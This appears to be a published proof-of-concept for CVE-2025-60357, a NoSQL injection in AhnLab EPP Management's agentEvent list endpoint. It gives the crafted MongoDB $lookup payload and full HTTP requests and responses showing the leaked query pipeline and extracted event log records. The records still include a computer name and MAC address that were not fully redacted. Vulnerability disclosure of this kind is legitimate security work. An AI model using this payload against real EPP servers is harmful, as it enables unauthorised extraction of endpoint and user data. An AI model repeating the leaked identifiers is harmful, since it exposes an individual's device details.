nullbyte3117/cve-2025-60357CVE-2025-60357- NoSQL(MongoDB) Injection POC
AhnLab EPP Management is a globally recognized next-generation advanced endpoint protection platform that integrates patch management, advanced malware detection, EDR, and XDR capabilities.
NoSQL(MongoDB) Injection in was discovered in the endpoint /api/console/ems/eventlog/agentEvent/list in AhnLab EPP Management v1.0.14.32-6249, leading to the disclosure of sensitive information and PII. The affected endpoint has now been patched, as AhnLab released a patch version (P14.32 > P16.25) in August 2024
Exploit Title: ***AhnLab EPP Management(Centralised Endpoint Security Management) -NoSQL Injection in MongoDB , which led to sensitive info and PII disclosure***
Date: 24 May 2024
Vulnerable Version: (1.0.14.32-6249) and before
Fixed Version released (EPP Management version (P14.32 > P16.25)): August 2024
CVE : CVE-2025-60357
Vendor Homepage: https://www.ahnlab.com/en
Software Link:https://www.ahnlab.com/ko/product/epp-management
Product Reveiw:https://www.gartner.com/reviews/market/endpoint-protection-platforms/compare/product/ahnlab-edr-vs-ahnlab-epp
Refence Link: https://www.cvedetails.com/cve/CVE-2025-60357
The application under 'agentEvent' module request body contained MongoDB query that authenticated users, as attackers, to craft a NoSQL injection to extract specific information from the application. We appended the lookup operation query to the request body as shown below.
Under 'agentEvent' module request body contained "\$exists\:true}",4197,10],"data":[]}}
I replaced this crafted MongoDB query '\$exists\:true}}},{\$lookup\:{"from":"tb_agent_event_log","localField":"_id","foreignField":"_id","as":"details"}},{\$match\:{"node_id": {\$exists\:true",4197,10],"data":[]}}'
POST /api/console/ems/eventlog/agentEvent/list HTTP/1.1
Host: 192.168.100.199:8803
Cookie: lang_set=en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: application/json;charset=utf-8
Accept-Language: de-CA,en-US;q=0.5,vi;q=0.3
Accept-Encoding: gzip, deflate, br
Authorization: bearer <Reacted>
Content-Type: application/json;charset=utf-8
Content-Length: 180
Origin: https://192.168.100.199:8803
Referer: https://192.168.100.199:8803/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close
{"request":
{"action":"get_event_log_agent_event_list_custom",
"revision":"1",
"params":["6628bcfc8b8a3556549fb3ae",
"66293a8fd751df5dd61c868c",
"\\$exists\\:true}",4197,10],"data":[]}}
HTTP/1.1 200
strict-transport-security: max-age=0
x-frame-options: DENY
x-content-type-options: nosniff
content-type: application/json;charset=utf-8
content-length: 835
date: Thu, 25 Apr 2024 03:15:25 GMT
cache-control: no-cache,no-store,no-control
connection: close
{"error_code":"EPP-99999","error_msg":"\n{\"collection\" : \"tb_agent_event_log\", \"data\" : [{\"$match\": {\"_id\": {\"$gte\":{\"$oid\":\"6628bcfc8b8a3556549fb3ae\"}, \"$lte\":{\"$oid\":\"66293a8fd751df5dd61c868c\"}}, \"node_id\": {$exists:true}} }}, {\"$skip\": 4197},{\"$project\": {\"_id\":\"$_id\",\"client_time\":\"$client_time\",\"node_id\":\"$node_id\",\"ip\":\"$ip\",\"computer_name\":\"$computer_name\",\"login_id\":\"$login_id\",\"user_name\":\"$user_name\",\"mac\":\"$mac\",\"department\":\"$department\",\"log_string_id\":\"$log_string_id\", \"log_string_args\":\"$log_string_args\"}}, {\"$limit\": 10}]}\n ^","revision":1,"response":[]}
POST /api/console/ems/eventlog/agentEvent/list HTTP/1.1
Host: 192.168.100.199:8803
Cookie: lang_set=en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: application/json;charset=utf-8
Accept-Language: de-CA,en-US;q=0.5,vi;q=0.3
Accept-Encoding: gzip, deflate, br
Authorization: bearer <Reacted>
Content-Type: application/json;charset=utf-8
Content-Length: 341
Origin: https://192.168.100.199:8803
Referer: https://192.168.100.199:8803/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close
{"request":
{"action":"get_event_log_agent_event_list_custom",
"revision":"1","params":["6628bcfc8b8a3556549fb3ae",
"66293a8fd751df5dd61c868c",
"\\$exists\\:true}}},{\\$lookup\\:{\"from\":\"tb_agent_event_log\",\"localField\":\"_id\",\"foreignField\":\"_id\",\"as\":\"details\"}},{\\$match\\:{\"node_id\": {\\$exists\\:true",4197,10],"data":[]}}
HTTP/1.1 200
strict-transport-security: max-age=0
x-frame-options: DENY
x-content-type-options: nosniff
content-type: application/json;charset=utf-8
content-length: 4516
date: Wed, 24 Apr 2024 10:52:13 GMT
cache-control: no-cache,no-store,no-control
connection: close
{"error_code":"EPP-00000",
"error_msg":"success",
"revision":1,
"response":[{"_id":{"timestamp":1713945876,
"counter":10472102,
"machineIdentifier":9144885,
"processIdentifier":22100,"timeSecond":1713945876,"time":1713945876000,"date":1713945876000},
"client_time":1713946136892,"node_id":2914,"ip":"Reacted.Reacted.Reacted",
"computer_name":"tiwaporn-k03","login_id":"Reacted","user_name":null,
"mac":"40-ef-0e-c5-13-37",
"department":"/group/<Reacted>/Reacted/Reacted.Reacted.0.0/Reacted.Reacted.226.0",
"log_string_id":"EPPAGENT_LOGID_21003","log_string_args":null},